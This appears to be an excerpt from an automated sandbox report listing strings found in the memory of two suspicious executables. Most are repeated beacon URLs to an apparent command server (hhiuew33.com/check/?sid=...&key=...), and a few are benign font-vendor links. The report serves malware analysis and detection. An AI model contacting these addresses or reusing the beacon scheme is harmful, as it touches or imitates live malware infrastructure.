Source: GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.530234735.0000000009C90000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.531519578.0000000009C90000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.530385630.0000000009C90000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.531009180.0000000009C94000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.531142662.0000000009C90000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.530536871.0000000009C92000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.531300988.0000000009C90000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.530750440.0000000009C92000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.comoitu
Source: GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.562993128.0000000009C93000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.564843532.0000000009C8F000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.565668952.0000000009C96000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.563286947.0000000009C93000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.comttvaS
Source: GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.499759446.0000000009C8D000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.501054082.0000000009C8D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cn
Source: GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.502563110.0000000009C8D000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.501737828.0000000009C8D000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.502154912.0000000009C8D000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.503118172.0000000009C8D000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.504368785.0000000009C8F000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.505391975.0000000009C8F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/
Source: GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.501054082.0000000009C8D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cnaytvW
Source: GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.499759446.0000000009C8D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cnx%
Source: GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.547429379.0000000009C93000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.546801098.0000000009C8F000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.547899929.0000000009C95000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.546923985.0000000009C93000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.548311903.0000000009C95000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.galapagosdesign.com/
Source: GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.546801098.0000000009C8F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.galapagosdesign.com/9ta
Source: VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.442618079.00000000005C9000.00000004.00000020.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.468352753.00000000005C2000.00000004.00000020.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.431262273.00000000005C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.hhiuew33.coP
Source: VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.513260236.00000000005F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.hhiuew33.com/
Source: VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000002.779040373.00000000005F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.hhiuew33.com/(
Source: VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.509371272.00000000005F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.hhiuew33.com/0
Source: VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.513260236.00000000005F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.hhiuew33.com/_H
Source: VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.381596752.0000000000612000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.hhiuew33.com/a
Source: VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.391475629.0000000000612000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.hhiuew33.com/check/?sid=2600499&key=e395accc2c6f2fc19a197701faf56551
Source: VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.399762873.00000000027B0000.00000004.00000020.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.433829703.00000000027B0000.00000004.00001000.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.430686823.00000000027B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.hhiuew33.com/check/?sid=2600721&key=8b32a3670752c2f50e21ffe8ff66e6cb
Source: VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.399762873.00000000027B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.hhiuew33.com/check/?sid=2600721&key=8b32a3670752c2f50e21ffe8ff66e6cbal
Source: VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.399762873.00000000027B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.hhiuew33.com/check/?sid=2600721&key=8b32a3670752c2f50e21ffe8ff66e6cbu
Source: VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.459370181.00000000027B0000.00000004.00000020.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.461543736.00000000027B0000.00000004.00000020.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.464649632.00000000027B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.hhiuew33.com/check/?sid=2601145&key=b91e6c918507ce8fc7e06b500f3ea863
Source: VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.433829703.00000000027B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.hhiuew33.com/check/?sid=2601145&key=b91e6c918507ce8fc7e06b500f3ea863L
Source: VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.433829703.00000000027B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.hhiuew33.com/check/?sid=2601145&key=b91e6c918507ce8fc7e06b500f3ea863al
Source: VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.459370181.00000000027B0000.00000004.00000020.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.461543736.00000000027B0000.00000004.00000020.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.464649632.00000000027B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.hhiuew33.com/check/?sid=2601145&key=b91e6c918507ce8fc7e06b500f3ea863alA
Source: VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.433829703.00000000027B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.hhiuew33.com/check/?sid=2601145&key=b91e6c918507ce8fc7e06b500f3ea863sZ
Source: VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.472760236.00000000027B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.hhiuew33.com/check/?sid=2601623&key=c2edd699fe4074572bde18218e447e5f
Source: VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.472760236.00000000027B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.hhiuew33.com/check/?sid=2601623&key=c2edd699fe4074572bde18218e447e5fal
Source: VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.472760236.00000000027B0000.00000004.00001000.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.464649632.00000000027B0000.00000004.00000020.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.486475344.00000000027B0000.00000004.00000020.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.483632724.00000000027B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.hhiuew33.com/check/?sid=2601623&key=c2edd699fe4074572bde18218e447e5fiesZ
Source: VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.464649632.00000000027B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.hhiuew33.com/check/?sid=2601623&key=c2edd699fe4074572bde18218e447e5fl
Source: VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.464649632.00000000027B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.hhiuew33.com/check/?sid=2601623&key=c2edd699fe4074572bde18218e447e5fwal
Source: VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.486475344.00000000027B0000.00000004.00000020.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.483632724.00000000027B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.hhiuew33.com/check/?sid=2601853&key=26a688ade9ed7838c5a984379bc376eeal
Source: VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.494698215.0000000000673000.00000004.00000001.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.499845421.0000000000673000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.hhiuew33.com/check/?sid=2602105&key=31b7b0deff382c74fb69544fd112846a5-A1ED-B2838757AE1B
Source: VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.486475344.00000000027B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.hhiuew33.com/check/?sid=2602105&key=31b7b0deff382c74fb69544fd112846aal
Source: VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.521430442.000000000068B000.00000004.00000020.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.511661183.0000000000689000.00000004.00001000.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.516696754.000000000067F000.00000004.00000001.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.510972942.0000000000689000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.hhiuew33.com/check/?sid=2602337&key=94a87b1d2676e40b93d9ad652d0283f4-1f78-4
Source: VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.525321775.000000000064A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.hhiuew33.com/check/?sid=2602645&key=ae85e79342b3664ea4c2f29bdcafcf5d
Source: VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.525321775.000000000064A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.hhiuew33.com/check/?sid=2602645&key=ae85e79342b3664ea4c2f29bdcafcf5d03_
Source: VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.528921061.000000000068B000.00000004.00001000.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.526279337.0000000000688000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.hhiuew33.com/check/?sid=2602645&key=ae85e79342b3664ea4c2f29bdcafcf5d1eef/537.36
Source: VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.525321775.000000000064A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.hhiuew33.com/check/?sid=2602645&key=ae85e79342b3664ea4c2f29bdcafcf5dWj
Source: VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.552164317.0000000000678000.00000004.00000020.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.543727047.000000000067E000.00000004.00000020.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.551776043.0000000000678000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.hhiuew33.com/check/?sid=2602975&key=a3fb0a1c3a9be2368b505c8a3554c8d89-90CE-806E6F6E6963
Source: VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.557815805.0000000000677000.00000004.00001000.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.561437414.0000000000671000.00000004.00000020.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.560461012.0000000000671000.00000004.00000020.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.561872354.0000000000676000.00000004.00000020.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.558664688.0000000000670000.00000004.00000001.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.554020055.0000000000669000.00000004.00000020.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.567030310.0000000000676000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.hhiuew33.com/check/?sid=2603173&key=2bbe49c6457a3a907b68db73149907768
Source: VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.564640029.000000000064D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.hhiuew33.com/check/?sid=2603345&key=a56d5e5f0e53c7a983c10dc0379be11a
Source: VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.567030310.0000000000676000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.hhiuew33.com/check/?sid=2603345&key=a56d5e5f0e53c7a983c10dc0379be11a9-90CE-806E6F6E6963
Source: VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.564640029.000000000064D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.hhiuew33.com/check/?sid=2603345&key=a56d5e5f0e53c7a983c10dc0379be11aZe
Source: VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.592344191.000000000064D000.00000004.00000020.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.598351420.0000000000669000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.hhiuew33.com/check/?sid=2603707&key=e9f68705fdfcc9e7aa6219116f13989c
Source: VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.628866400.0000000000631000.00000004.00000020.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.605453620.0000000000647000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.hhiuew33.com/check/?sid=2604025&key=96305e476386bdb22774f6b9947f02bf
Source: VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.646409244.0000000000669000.00000004.00000020.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.693589241.0000000000669000.00000004.00000020.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.686926185.0000000000669000.00000004.00000020.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.670136746.0000000000669000.00000004.00000020.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.712268030.0000000000669000.00000004.00000020.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.746484304.0000000000669000.00000004.00000020.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.698464163.0000000000669000.00000004.00000020.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.732971743.0000000000669000.00000004.00000020.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.700309942.0000000000669000.00000004.00000020.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.767453966.0000000000669000.00000004.00000020.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.716110738.0000000000669000.00000004.00000020.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.636484417.0000000000669000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.hhiuew33.com/check/?sid=2604439&key=8406bc79cb08265efab98113ce501bf6
Source: VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.655639322.0000000000643000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.hhiuew33.com/check/?sid=2604753&key=f85563e014035f8a1834811fdc4d123c
Source: VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.655114253.0000000000631000.00000004.00000020.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.671060930.0000000000631000.00000004.00000020.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.671711700.000000000063B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.hhiuew33.com/check/?sid=2604753&key=f85563e014035f8a1834811fdc4d123c9-90CE-806E6F6E6963
Source: VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.719303983.0000000000669000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.hhiuew33.com/check/?sid=2605113&key=a
Source: VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.709790517.0000000000669000.00000004.00000020.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.688845567.000000000063C000.00000004.00000020.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.684569911.0000000000669000.00000004.00000020.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.693589241.0000000000669000.00000004.00000020.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.685175846.0000000000670000.00000004.00000020.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.712268030.0000000000669000.00000004.00000020.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.698464163.0000000000669000.00000004.00000020.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.700309942.0000000000669000.00000004.00000020.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.716110738.0000000000669000.00000004.00000020.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.693756834.0000000000670000.00000004.00000020.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.685746609.000000000063C000.00000004.00000020.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.689479093.0000000000670000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.hhiuew33.com/check/?sid=2605113&key=aa23d32b4a92172f95daca22a0b2aa3f
Source: VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.694558950.000000000064C000.00000004.00000020.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.691831928.000000000063B000.00000004.00000020.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.693386261.0000000000644000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.hhiuew33.com/check/?sid=2605381&key=be18fc13605db7a9c2e1ebdeb3bda96b
Source: VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.694701460.0000000000669000.00000004.00000020.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.709790517.0000000000669000.00000004.00000020.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.693589241.0000000000669000.00000004.00000020.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.698464163.0000000000669000.00000004.00000020.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.700309942.0000000000669000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.hhiuew33.com/check/?sid=2605381&key=be18fc13605db7a9c2e1ebdeb3bda96blU
Source: VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.694558950.000000000064C000.00000004.00000020.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.691831928.000000000063B000.00000004.00000020.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.693386261.0000000000644000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.hhiuew33.com/check/?sid=2605381&key=be18fc13605db7a9c2e1ebdeb3bda96bloginsn
Source: VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.694558950.000000000064C000.00000004.00000020.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.691831928.000000000063B000.00000004.00000020.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.693386261.0000000000644000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.hhiuew33.com/check/?sid=2605381&key=be18fc13605db7a9c2e1ebdeb3bda96bugOzTRr
Source: VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.711702791.0000000000637000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.hhiuew33.com/check/?sid=2605571&key=f974e7fb9128dc7341c07f1cb1312441
Source: VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.716477560.000000000063F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.hhiuew33.com/check/?sid=2605729&key=befb4e0f2c59d95bc6a95157b45a8050
Source: VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.716477560.000000000063F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.hhiuew33.com/check/?sid=2605729&key=befb4e0f2c59d95bc6a95157b45a8050hn2KD0MA
Source: VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.716477560.000000000063F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.hhiuew33.com/check/?sid=2605729&key=befb4e0f2c59d95bc6a95157b45a8050loginsV
Source: VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.722368250.000000000063F000.00000004.00000020.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.728934314.000000000064C000.00000004.00000020.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.728560478.0000000000646000.00000004.00000020.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.733909373.0000000000647000.00000004.00000020.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.726807487.000000000063F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.hhiuew33.com/check/?sid=2605797&key=27a1a2df4b048541a141fd73042e2ee3
Source: VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.728673907.0000000000669000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.hhiuew33.com/check/?sid=2605797&key=27a1a2df4b048541a141fd73042e2ee385-A1ED-B2838757AE1B
Source: VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.722368250.000000000063F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.hhiuew33.com/check/?sid=2605797&key=27a1a2df4b048541a141fd73042e2ee3L2es8hKg
Source: VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.737253570.0000000000669000.00000004.00000020.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.736576438.000000000063F000.00000004.00000020.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.737940340.0000000000669000.00000004.00000020.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.738798615.000000000064C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.hhiuew33.com/check/?sid=2605949&key=ed37635fb4ee9b6f28df6afcd09d4dc2
Source: VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.743826308.000000000064D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.hhiuew33.com/check/?sid=2606055&key=22b91a9ea5ef2b2cf966abf82f9ff159
Source: VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.757072546.000000000064C000.00000004.00000020.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.755685899.0000000000639000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.hhiuew33.com/check/?sid=2606235&key=315782dff0fe3b3e88945c64c67cbb8a
Source: VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.763607105.000000000064D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.hhiuew33.com/check/?sid=2606325&key=1f04de60a6b2c78b24b65f884e13ea47
Source: VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.766823921.000000000063C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.hhiuew33.com/check/?sid=2606371&key=e5566572a7c8023d20e6ce450dd3aa53
Source: VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000002.781942540.000000000064D000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.hhiuew33.com/check/?sid=2606519&key=3a2b272a5f9274b5d5889271f55c9281
Source: VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.734137895.0000000000669000.00000004.00000020.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.732971743.0000000000669000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.hhiuew33.com/check/sa
